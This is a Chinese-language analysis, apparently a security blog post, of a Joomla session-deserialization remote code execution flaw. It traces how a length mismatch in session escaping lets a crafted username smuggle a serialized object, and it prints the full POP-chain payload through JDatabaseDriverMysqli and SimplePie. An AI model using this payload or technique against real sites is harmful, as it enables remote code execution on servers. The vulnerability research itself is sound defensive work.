本文只分析发生漏洞得原因,具体pop链简略分析。
joomla中得session会被存入数据库中,这是以前版本得RCE就可以得知得事情。
/libraries/joomla/session/storage.php:
public function register()
{
// Use this object as the session handler
session_set_save_handler(
array($this, 'open'), array($this, 'close'), array($this, 'read'), array($this, 'write'),
array($this, 'destroy'), array($this, 'gc')
);
}
通过这里得到目标注册得几个函数,但是此方法为抽象类,也就是说不能实例化的,所以我们需要寻找继承了此类的类进行分析,在JSessionStorageDatabase对象中,均重写了上面的几个函数。
根据github给出的payload得出路由为:/index.php/component/users
根据路由找到目标文件的真实文件为:/components/com_users/users.php
此文件获取了一个task参数,这个参数不做具体分析,我们只需要得知目标会根据此参数来找到最终提交的函数
payload中有如下:
'task': 'user.login',
也就是说会提交到 user控制器下面的login方法,直接追过去就好了,具体路径为:components/com_users/controllers/user.php
代码:
public function login()
{
JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN'));
$app = JFactory::getApplication();
$input = $app->input;
$method = $input->getMethod();
// Populate the data array:
$data = array();
$data['return'] = base64_decode($app->input->post->get('return', '', 'BASE64'));
$data['username'] = $input->$method->get('username', '', 'USERNAME');
$data['password'] = $input->$method->get('password', '', 'RAW');
$data['secretkey'] = $input->$method->get('secretkey', '', 'RAW');
// Don't redirect to an external URL.
if (!JUri::isInternal($data['return']))
{
$data['return'] = '';
}
// Set the return URL if empty.
if (empty($data['return']))
{
$data['return'] = 'index.php?option=com_users&view=profile';
}
// Set the return URL in the user state to allow modification by plugins
$app->setUserState('users.login.form.return', $data['return']);
// Get the log in options.
$options = array();
$options['remember'] = $this->input->getBool('remember', false);
$options['return'] = $data['return'];
// Get the log in credentials.
$credentials = array();
$credentials['username'] = $data['username'];
$credentials['password'] = $data['password'];
$credentials['secretkey'] = $data['secretkey'];
// Perform the log in.
if (true === $app->login($credentials, $options))
{
// Success
if ($options['remember'] == true)
{
$app->setUserState('rememberLogin', true);
}
$app->setUserState('users.login.form.data', array());
$app->redirect(JRoute::_($app->getUserState('users.login.form.return'), false));
}
else
{
// Login failed !
$data['remember'] = (int) $options['remember'];
$app->setUserState('users.login.form.data', $data);
$app->redirect(JRoute::_('index.php?option=com_users&view=login', false));
}
}
这里我们可以看下重点代码:
JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN'));
进入checkToken函数中,具体看下
$session = JFactory::getSession();
if ($session->isNew())
跟进后发现这句代码获取了现在的session对象:
public static function getSession(array $options = array())
{
if (!self::$session)
{
self::$session = self::createSession($options);
}
return self::$session;
}
这里获取到的对象其实就是当前对象,因为我在下面发现了isNew函数:
public function isNew()
{
$counter = $this->get('session.counter');
return (bool) ($counter === 1);
}
然后在跟进get函数:
public function get($name, $default = null, $namespace = 'default')
{
// Add prefix to namespace to avoid collisions
$namespace = '__' . $namespace;
if ($this->_state === 'destroyed')
{
// @TODO :: generated error here
$error = null;
return $error;
}
if (isset($_SESSION[$namespace][$name]))
{
return $_SESSION[$namespace][$name];
}
return $default;
}
也就是说此时return的是:
$_SESSION[__default][session.counter]
因为\$this->_state === 'destroyed' 判断根本不成立,在start函数中,有如下代码:
public function start()
{
if ($this->_state === 'active')
{
return;
}
$this->_start();
$this->_state = 'active';
他会将_state变量预设为active。此时的counter获取出来确实是等于1,所以会直接返回true
return (bool) ($counter === 1);
返回为真,再次回到checktoken函数:
if ($session->isNew())
{
// Redirect to login screen.
$app->enqueueMessage(JText::_('JLIB_ENVIRONMENT_SESSION_EXPIRED'), 'warning');
$app->redirect(JRoute::_('index.php'));
}
else
{
return false;
}
然后进入if中的真流程,重点可以看下这句:
$app->redirect(JRoute::_('index.php'));
我们跟进redirect函数:
public function redirect($url, $status = 303)
{
// Handle B/C by checking if a message was passed to the method, will be removed at 4.0
if (func_num_args() > 1)
{
$args = func_get_args();
/*
* Do some checks on the $args array, values below correspond to legacy redirect() method
*
* $args[0] = $url
* $args[1] = Message to enqueue
* $args[2] = Message type
* $args[3] = $status (previously moved)
*/
if (isset($args[1]) && !empty($args[1]) && (!is_bool($args[1]) && !is_int($args[1])))
{
// Log that passing the message to the function is deprecated
JLog::add(
'Passing a message and message type to JFactory::getApplication()->redirect() is deprecated. '
. 'Please set your message via JFactory::getApplication()->enqueueMessage() prior to calling redirect().',
JLog::WARNING,
'deprecated'
);
$message = $args[1];
// Set the message type if present
if (isset($args[2]) && !empty($args[2]))
{
$type = $args[2];
}
else
{
$type = 'message';
}
// Enqueue the message
$this->enqueueMessage($message, $type);
// Reset the $moved variable
$status = isset($args[3]) ? (boolean) $args[3] : false;
}
}
// Persist messages if they exist.
if (count($this->_messageQueue))
{
$session = JFactory::getSession();
$session->set('application.queue', $this->_messageQueue);
}
// Hand over processing to the parent now
parent::redirect($url, $status);
}
看着这么长一串实际上这玩意,emmm 啥也没干,因为第一个if,我们只传入了一个变量所以直接跳过,第二个if判断中只设置了一个session变量。
parent::redirect($url, $status);
再次跟入parent::redirect,一长串代码,其实还是什么也没干,在那组合url,到最后执行到了$this->close();
而close中的代码为:
public function close($code = 0)
{
exit($code);
}
分析到此处的时候,我不禁陷入了对人生以及社会的大思考当中。tmd到底在哪里写入了session?后来回到刚刚走过的代码再次认真的看了一次后发现,在_start中还有这么个东西:
register_shutdown_function('session_write_close');
可以看下官方给出的定义:
注册一个会在php中止时执行的函数
简单的来说就是整个php程序的__destract(),在php结束之前均会执行此代码。
然后可以看下write:
public function write($id, $data)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
try
{
$query = $db->getQuery(true)
->update($db->quoteName('#__session'))
->set($db->quoteName('data') . ' = ' . $db->quote($data))
->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
这里获取的两个参数分别为:cookie中的sessionid以及序列化组合过后的session。
重点看下面这句替换的代码:
$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
会将chr(0) . '' . chr(0)替换为\0\0\0,正因为这个机制造成了这次的RCE,chr(0).\.chr(0)为三个字节长度,但是\0\0\0为6个字节长度。后面的read代码中,将所有的\0\0\0全部替换成了chr(0).*.chr(0)
public function read($id)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
try
{
// Get the session data from the database table.
$query = $db->getQuery(true)
->select($db->quoteName('data'))
->from($db->quoteName('#__session'))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
$db->setQuery($query);
$result = (string) $db->loadResult();
$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
return $result;
}
实验代码:
<?php
class a{
public $a;
function __construct()
{
$this->a = chr(0) . '*' . chr(0);
}
}
echo serialize(new a());
?>
输出:
O:1:"a":1:{s:1:"a";s:3:"*";}
实验代码2:
<?php
class a{
public $a;
function __construct()
{
$this->a = '\0\0\0';
}
}
echo str_replace('\0\0\0' , chr(0) . '*' . chr(0),serialize(new a()));
?>
输出:
O:1:"a":1:{s:1:"a";s:6:"*";}
可以看出将\0替换为了chr(0)后并没有替换长度。
此时的payload为:
__default|a:8:{s:15:"session.counter";i:5;s:19:"session.timer.start";i:1570637551;s:18:"session.timer.last";i:1570639080;s:17:"session.timer.now";i:1570639097;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":1:{s:5:"users";O:8:"stdClass":1:{s:5:"login";O:8:"stdClass":1:{s:4:"form";O:8:"stdClass":2:{s:4:"data";a:5:{s:6:"return";s:39:"index.php?option=com_users&view=profile";s:8:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:409:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:7:"print_r";s:10:"javascript";i:9999;s:8:"feed_url";s:23:"http://l4m3rz.l337/;OK!";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:";s:9:"secretkey";s:0:"";s:8:"remember";i:0;}s:6:"return";s:39:"index.php?option=com_users&view=profile";}}}}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";N;s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"fa2ab7b7344f28f76aae8b401921288e";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}
然后将\0\0\0替换为特殊字符后:
O:1:"a":1:{s:1:"a";s:1995:"__default|a:8:{s:15:"session.counter";i:5;s:19:"session.timer.start";i:1570637551;s:18:"session.timer.last";i:1570639080;s:17:"session.timer.now";i:1570639097;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"*data";O:8:"stdClass":1:{s:5:"users";O:8:"stdClass":1:{s:5:"login";O:8:"stdClass":1:{s:4:"form";O:8:"stdClass":2:{s:4:"data";a:5:{s:6:"return";s:39:"index.php?option=com_users&view=profile";s:8:"username";s:54:"*********";s:8:"password";s:409:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"*a";O:17:"JSimplepieFactory":0:{}s:21:"*disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:7:"print_r";s:10:"javascript";i:9999;s:8:"feed_url";s:23:"http://l4m3rz.l337/;OK!";}i:1;s:4:"init";}}s:13:"*connection";i:1;}s:6:"return";s:102:";s:9:"secretkey";s:0:"";s:8:"remember";i:0;}s:6:"return";s:39:"index.php?option=com_users&view=profile";}}}}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"*isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"*_params";O:24:"Joomla\Registry\Registry":2:{s:7:"*data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"*_authGroups";N;s:14:"*_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"*_authActions";N;s:12:"*_errorMsg";N;s:13:"*userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"*_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"fa2ab7b7344f28f76aae8b401921288e";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}";}
其中:
s:54:"*********"
实际占位为27位但是这里却是54位,多出来的27位从后面补入,此时的payload实际上为:
s:54:[*********";s:8:"password";s:409:"AAA]
最后得出真正被反序列化的是:
s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"*a";O:17:"JSimplepieFactory":0:{}s:21:"*disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:7:"print_r";s:10:"javascript";i:9999;s:8:"feed_url";s:23:"http://l4m3rz.l337/;OK!";}i:1;s:4:"init";}}s:13:"*connection";i:1;}s:6:"return";s:102:";s:9:"secretkey";s:0:"";s:8:"remember";i:0;}s:6:"return";s:39:"index.php?option=com_users&view=profile";}}}}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"*isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"*_params";O:24:"Joomla\Registry\Registry":2:{s:7:"*data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"*_authGroups";N;s:14:"*_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"*_authActions";N;s:12:"*_errorMsg";N;s:13:"*userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"*_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"fa2ab7b7344f28f76aae8b401921288e";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}";}
而username中的N个\0以及password中的AAA早就被程序逻辑导致的溢出吃的一干二净了。
在payload中可以得到目标pop链的入口为:JDatabaseDriverMysqli,我们直接追进去就好了:
public function __destruct()
{
$this->disconnect();
}
跟进disconnect方法:
public function disconnect()
{
// Close the connection.
if ($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
mysqli_close($this->connection);
}
$this->connection = null;
}
这里的call_user_func_array($h, array( &$this));
简直和thinkphp中反序列化pop链那个一模一样,只能控制第一个参数,所以我们需要进行这样调用:
call_user_func_array([$obj,"任意方法"],array( &$this))
到这一步就很简单了,按照pop链的方法来看就在:
/libraries/simplepie/simplepie.php
if ($this->feed_url !== null || $this->raw_data !== null)
{
$this->data = array();
$this->multifeed_objects = array();
$cache = false;
if ($this->feed_url !== null)
{
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
// Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
关键点在这:
call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');